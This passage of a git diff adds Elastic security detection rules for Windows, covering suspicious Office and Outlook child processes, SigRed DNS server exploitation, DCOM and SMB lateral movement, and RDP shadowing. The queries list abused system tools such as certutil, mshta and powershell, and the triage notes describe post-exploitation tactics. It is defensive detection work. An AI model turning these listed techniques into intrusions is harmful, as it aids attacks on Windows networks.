"2020/02/18" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, Excel). +These child processes are often launched during exploitation of Office applications or from documents with malicious +macros. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious MS Office Child Process" +risk_score = 47 +rule_id = "a624863f-a70d-417f-a7d2-7a404638d47f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : ("eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe") and + process.name : ("Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", "certutil.exe", + "cmd.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", "dsquery.exe", "forfiles.exe", + "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", "iexpress.exe", "installutil.exe", "ipconfig.exe", + "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "odbcconf.exe", + "ping.exe", "powershell.exe", "pwsh.exe", "qprocess.exe", "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", + "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe", + "wmic.exe", "wscript.exe", "xwizard.exe", "explorer.exe", "rundll32.exe", "hh.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/initial_access_suspicious_ms_outlook_child_process.toml b/rules/windows/initial_access_suspicious_ms_outlook_child_process.toml new file mode 100644 index 000000000..5444bfe4d --- /dev/null +++ b/rules/windows/initial_access_suspicious_ms_outlook_child_process.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious child processes of Microsoft Outlook. These child processes are often associated with spear +phishing activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious MS Outlook Child Process" +risk_score = 21 +rule_id = "32f4675e-6c49-4ace-80f9-97c9259dca2e" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "outlook.exe" and + process.name : ("Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", + "cdb.exe", "certutil.exe", "cmd.exe", "cmstp.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", + "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", + "pwsh.exe", "qprocess.exe", "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", + "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", "systeminfo.exe", "tasklist.exe", + "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", "xwizard.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +reference = "https://attack.mitre.org/techniques/T1566/" +name = "Phishing" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +reference = "https://attack.mitre.org/techniques/T1566/001/" +name = "Spearphishing Attachment" + + + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" + diff --git a/rules/windows/initial_access_unusual_dns_service_children.toml b/rules/windows/initial_access_unusual_dns_service_children.toml new file mode 100644 index 000000000..54e017150 --- /dev/null +++ b/rules/windows/initial_access_unusual_dns_service_children.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/07/16" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies an unexpected process spawning from dns.exe, the process responsible for Windows DNS server services, which +may indicate activity related to remote code execution or other forms of exploitation. +""" +false_positives = [ + """ + Werfault.exe will legitimately spawn when dns.exe crashes, but the DNS service is very stable and so this is a low + occurring event. Denial of Service (DoS) attempts by intentionally crashing the service will also cause werfault.exe + to spawn. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Child Process of dns.exe" +note = """## Triage and analysis + +### Investigating Unusual Child Process +Detection alerts from this rule indicate potential suspicious child processes spawned after exploitation from CVE-2020-1350 (SigRed) has occurred. Here are some possible avenues of investigation: +- Any suspicious or abnormal child process spawned from dns.exe should be reviewed and investigated with care. It's impossible to predict what an adversary may deploy as the follow-on process after the exploit, but built-in discovery/enumeration utilities should be top of mind (whoami.exe, netstat.exe, systeminfo.exe, tasklist.exe). +- Built-in Windows programs that contain capabilities used to download and execute additional payloads should also be considered. This is not an exhaustive list, but ideal candidates to start out would be: mshta.exe, powershell.exe, regsvr32.exe, rundll32.exe, wscript.exe, wmic.exe. +- If the DoS exploit is successful and DNS Server service crashes, be mindful of potential child processes related to werfault.exe occurring. +- Any subsequent activity following the child process spawned related to execution/network activity should be thoroughly reviewed from the endpoint.""" +references = [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/", + "https://github.com/maxpl0it/CVE-2020-1350-DoS", +] +risk_score = 73 +rule_id = "8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.parent.name : "dns.exe" and + not process.name : "conhost.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1133" +reference = "https://attack.mitre.org/techniques/T1133/" +name = "External Remote Services" + + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" + diff --git a/rules/windows/initial_access_unusual_dns_service_file_writes.toml b/rules/windows/initial_access_unusual_dns_service_file_writes.toml new file mode 100644 index 000000000..b387f7b7c --- /dev/null +++ b/rules/windows/initial_access_unusual_dns_service_file_writes.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/07/16" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which +may indicate activity related to remote code execution or other forms of exploitation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual File Modification by dns.exe" +note = """## Triage and analysis + +### Investigating Unusual File Write +Detection alerts from this rule indicate potential unusual/abnormal file writes from the DNS Server service process (`dns.exe`) after exploitation from CVE-2020-1350 (SigRed) has occurred. Here are some possible avenues of investigation: +- Post-exploitation, adversaries may write additional files or payloads to the system as additional discovery/exploitation/persistence mechanisms. +- Any suspicious or abnormal files written from `dns.exe` should be reviewed and investigated with care.""" +references = [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/", +] +risk_score = 73 +rule_id = "c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where process.name : "dns.exe" and event.type in ("creation", "deletion", "change") and + not file.name : "dns.log" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1133" +reference = "https://attack.mitre.org/techniques/T1133/" +name = "External Remote Services" + + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" + diff --git a/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml b/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml new file mode 100644 index 000000000..a7a5f5681 --- /dev/null +++ b/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/10/29" +maturity = "production" +updated_date = "2021/03/11" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious Windows explorer child process. Explorer.exe can be abused to launch malicious scripts or +executables from a trusted parent process. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Explorer Child Process" +risk_score = 47 +rule_id = "9a5b4e31-6cde-4295-9ff7-6be1b8567e1b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ( + process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "rundll32.exe", "cmd.exe", "mshta.exe", "regsvr32.exe") or + process.pe.original_file_name in ("cscript.exe", "wscript.exe", "PowerShell.EXE", "RUNDLL32.EXE", "Cmd.Exe", "MSHTA.EXE", "REGSVR32.EXE") + ) and + /* Explorer started via DCOM */ + process.parent.name : "explorer.exe" and process.parent.args : "-Embedding" and + not process.parent.args: + ( + /* Noisy CLSID_SeparateSingleProcessExplorerHost Explorer COM Class IDs */ + "/factory,{5BD95610-9434-43C2-886C-57852CC8A120}", + "/factory,{ceff45ee-c862-41de-aee2-a022c81eda92}" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/windows/lateral_movement_cmd_service.toml b/rules/windows/lateral_movement_cmd_service.toml new file mode 100644 index 000000000..5610adb23 --- /dev/null +++ b/rules/windows/lateral_movement_cmd_service.toml @@ -0,0 +1,79 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of sc.exe to create, modify, or start services on remote hosts. This could be indicative of adversary +lateral movement but will be noisy if commonly done by admins. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Service Command Lateral Movement" +risk_score = 21 +rule_id = "d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan = 1m + [process where event.type in ("start", "process_started") and + (process.name : "sc.exe" or process.pe.original_file_name : "sc.exe") and + process.args : "\\\\*" and process.args : ("binPath=*", "binpath=*") and + process.args : ("create", "config", "failure", "start")] + [network where process.name : "sc.exe" and destination.ip != "127.0.0.1"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +name = "Windows Service" +reference = "https://attack.mitre.org/techniques/T1543/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1569" +name = "System Services" +reference = "https://attack.mitre.org/techniques/T1569/" +[[rule.threat.technique.subtechnique]] +id = "T1569.002" +name = "Service Execution" +reference = "https://attack.mitre.org/techniques/T1569/002/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/lateral_movement_dcom_hta.toml b/rules/windows/lateral_movement_dcom_hta.toml new file mode 100644 index 000000000..db0238b08 --- /dev/null +++ b/rules/windows/lateral_movement_dcom_hta.toml @@ -0,0 +1,72 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of Distributed Component Object Model (DCOM) to execute commands from a remote host, which are +launched via the HTA Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move +laterally while attempting to evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Incoming DCOM Lateral Movement via MSHTA" +references = ["https://codewhitesec.blogspot.com/2018/07/lethalhta.html"] +risk_score = 73 +rule_id = "622ecb68-fa81-4601-90b5-f8cd661e4520" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence with maxspan=1m + [process where event.type in ("start", "process_started") and + process.name : "mshta.exe" and process.args : "-Embedding" + ] by host.id, process.entity_id + [network where event.type == "start" and process.name : "mshta.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + id = "T1021.003" + name = "Distributed Component Object Model" + reference = "https://attack.mitre.org/techniques/T1021/003/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.005" +name = "Mshta" +reference = "https://attack.mitre.org/techniques/T1218/005/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/lateral_movement_dcom_mmc20.toml b/rules/windows/lateral_movement_dcom_mmc20.toml new file mode 100644 index 000000000..b8c2de134 --- /dev/null +++ b/rules/windows/lateral_movement_dcom_mmc20.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched +via the MMC20 Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move +laterally. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Incoming DCOM Lateral Movement with MMC" +references = ["https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"] +risk_score = 73 +rule_id = "51ce96fb-9e52-4dad-b0ba-99b54440fc9a" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=1m + [network where event.type == "start" and process.name : "mmc.exe" and source.port >= 49152 and + destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" + ] by process.entity_id + [process where event.type in ("start", "process_started") and process.parent.name : "mmc.exe" + ] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + id = "T1021.003" + name = "Distributed Component Object Model" + reference = "https://attack.mitre.org/techniques/T1021/003/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_dcom_shellwindow_shellbrowserwindow.toml b/rules/windows/lateral_movement_dcom_shellwindow_shellbrowserwindow.toml new file mode 100644 index 000000000..7abcd80c5 --- /dev/null +++ b/rules/windows/lateral_movement_dcom_shellwindow_shellbrowserwindow.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched via +the ShellBrowserWindow or ShellWindows Application COM Object. This behavior may indicate an attacker abusing a DCOM +application to stealthily move laterally. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows" +references = ["https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"] +risk_score = 47 +rule_id = "8f919d4b-a5af-47ca-a594-6be59cd924a4" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=5s + [network where event.type == "start" and process.name : "explorer.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + [process where event.type in ("start", "process_started") and + process.parent.name : "explorer.exe" + ] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + id = "T1021.003" + name = "Distributed Component Object Model" + reference = "https://attack.mitre.org/techniques/T1021/003/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_defense_evasion_lanman_nullsessionpipe_modification.toml b/rules/windows/lateral_movement_defense_evasion_lanman_nullsessionpipe_modification.toml new file mode 100644 index 000000000..cffda358a --- /dev/null +++ b/rules/windows/lateral_movement_defense_evasion_lanman_nullsessionpipe_modification.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/03/22" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies NullSessionPipe registry modifications that specify which pipes can be accessed anonymously. This could +be indicative of adversary lateral movement preparation by making the added pipe available to everyone. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "NullSessionPipe Registry Modification" +references = [ + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares", +] +risk_score = 47 +rule_id = "ddab1f5f-7089-44f5-9fda-de5b11322e77" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where +registry.path : "HKLM\\SYSTEM\\*ControlSet*\\services\\LanmanServer\\Parameters\\NullSessionPipes" and +registry.data.strings != null +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/windows/lateral_movement_direct_outbound_smb_connection.toml b/rules/windows/lateral_movement_direct_outbound_smb_connection.toml new file mode 100644 index 000000000..6f3945096 --- /dev/null +++ b/rules/windows/lateral_movement_direct_outbound_smb_connection.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies unexpected processes making network connections over port 445. Windows File Sharing is typically implemented +over Server Message Block (SMB), which communicates between hosts using port 445. When legitimate, these network +connections are established by the kernel. Processes making 445/tcp connections may be port scanners, exploits, or +suspicious user-level processes moving laterally. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Direct Outbound SMB Connection" +risk_score = 47 +rule_id = "c82c7d8f-fb9e-4874-a4bd-fd9e3f9becf1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where event.type == "start" and process.pid != 4] + [network where destination.port == 445 and process.pid != 4 and + not cidrmatch(destination.ip, "127.0.0.1", "::1")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Remote Services" +id = "T1021" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + name = "SMB/Windows Admin Shares" + id = "T1021.002" + reference = "https://attack.mitre.org/techniques/T1021/002/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_dns_server_overflow.toml b/rules/windows/lateral_movement_dns_server_overflow.toml new file mode 100644 index 000000000..b80d55709 --- /dev/null +++ b/rules/windows/lateral_movement_dns_server_overflow.toml @@ -0,0 +1,90 @@ +[metadata] +creation_date = "2020/07/16" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in +Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. +""" +false_positives = [ + """ + Environments that leverage DNS responses over 60k bytes will result in false positives - if this traffic is + predictable and expected, it should be filtered out. Additionally, this detection rule could be triggered by an + authorized vulnerability scan or compromise assessment. + """, +] +index = ["packetbeat-*", "filebeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Abnormally Large DNS Response" +note = """## Triage and analysis + +### Investigating Large DNS Responses +Detection alerts from this rule indicate possible anomalous activity around large byte DNS responses from a Windows DNS +server. This detection rule was created based on activity represented in exploitation of vulnerability (CVE-2020-1350) +also known as [SigRed](https://www.elastic.co/blog/detection-rules-for-sigred-vulnerability) during July 2020. + +#### Possible investigation steps: +- This specific rule is sourced from network log activity such as DNS or network level data. It's important to validate +the source of the incoming traffic and determine if this activity has been observed previously within an environment. +- Activity can be further investigated and validated by reviewing available corresponding Intrusion Detection Signatures (IDS) alerts associated with activity. +- Further examination can include a review of the `dns.question_type` network fieldset with a protocol analyzer, such as Zeek, Packetbeat, or Suricata, for `SIG` or `RRSIG` data. +- Validate the patch level and OS of the targeted DNS server to validate the observed activity was not large-scale Internet vulnerability scanning. +- Validate that the source of the network activity was not from an authorized vulnerability scan or compromise assessment. + +#### False Positive Analysis +- Based on this rule, which looks for a threshold of 60k bytes, it is possible for activity to be generated under 65k bytes +and related to legitimate behavior. In packet capture files received by the [SANS Internet Storm Center](https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/), byte responses +were all observed as greater than 65k bytes. +- This activity can be triggered by compliance/vulnerability scanning or compromise assessment, it's +important to determine the source of the activity and potentially allowlist the source host. + + +### Related Rules +- Unusual Child Process of dns.exe +- Unusual File Modification by dns.exe + +### Response and Remediation +- Review and implement the above detection logic within your environment using technology such as Endpoint security, Winlogbeat, Packetbeat, or network security monitoring (NSM) platforms such as Zeek or Suricata. +- Ensure that you have deployed the latest Microsoft [Security Update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350) (Monthly Rollup or Security Only) and restart the +patched machines. If unable to patch immediately: Microsoft [released](https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability) a registry-based workaround that doesn’t require a +restart. This can be used as a temporary solution before the patch is applied. +- Maintain backups of your critical systems to aid in quick recovery. +- Perform routine vulnerability scans of your systems, monitor [CISA advisories](https://us-cert.cisa.gov/ncas/current-activity) and patch identified vulnerabilities. +- If you observe a true positive, implement a remediation plan and monitor host-based artifacts for additional post-exploitation behavior. +""" + +references = [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/", + "https://github.com/maxpl0it/CVE-2020-1350-DoS", +] +risk_score = 47 +rule_id = "11013227-0301-4a8c-b150-4db924484475" +severity = "medium" +tags = ["Elastic", "Network", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and destination.port:53 and + (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes > 60000 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1210" +name = "Exploitation of Remote Services" +reference = "https://attack.mitre.org/techniques/T1210/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_evasion_rdp_shadowing.toml b/rules/windows/lateral_movement_evasion_rdp_shadowing.toml new file mode 100644 index 000000000..37a5b7f94 --- /dev/null +++ b/rules/windows/lateral_movement_evasion_rdp_shadowing.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/04/12" +maturity = "production" +updated_date = "2021/04/12" + +[rule] +author = ["Elastic"] +description = """ +Identifies the modification of the Remote Desktop Protocol (RDP) Shadow registry or the execution of processes +indicative of an active RDP shadowing session. An adversary may abuse the RDP Shadowing feature to spy on or control other users active +RDP sessions. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Remote Desktop Shadowing Activity" +references = [ +"https://bitsadm.in/blog/spying-on-users-using-rdp-shadowing", +"https://swarm.ptsecurity.com/remote-desktop-services-shadowing/"] +risk_score = 73 +rule_id = "c57f8579-e2a5-4804-847f-f2732edc5156" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* Identifies the modification of RDP Shadow registry or + the execution of processes indicative of active shadow RDP session */ + +any where + (event.category == "registry" and + registry.path : "HKLM\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\Shadow" + ) or + (event.category == "process" and + (process.name : ("RdpSaUacHelper.exe", "RdpSaProxy.exe") and process.parent.name : "svchost.exe") or + (process.pe.original_file_name : "mstsc.exe" and process.args : "/shadow:*") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/windows/lateral_movement_executable_tool_transfer_smb.toml b/rules/windows/lateral_movement_executable_tool_transfer_smb.toml new file mode 100644 index 000000000..8466fdd5e --- /dev/null +++ b/rules/windows/lateral_movement_executable_tool_transfer_smb.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/11/10" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or change of a Windows executable file over network shares. Adversaries may transfer tools or +other files between systems in a compromised environment. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Lateral Tool Transfer" +risk_score = 47 +rule_id = "58bc134c-e8d2-4291-a552-b4b3e537c60b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=30s + [network where event.type == "start" 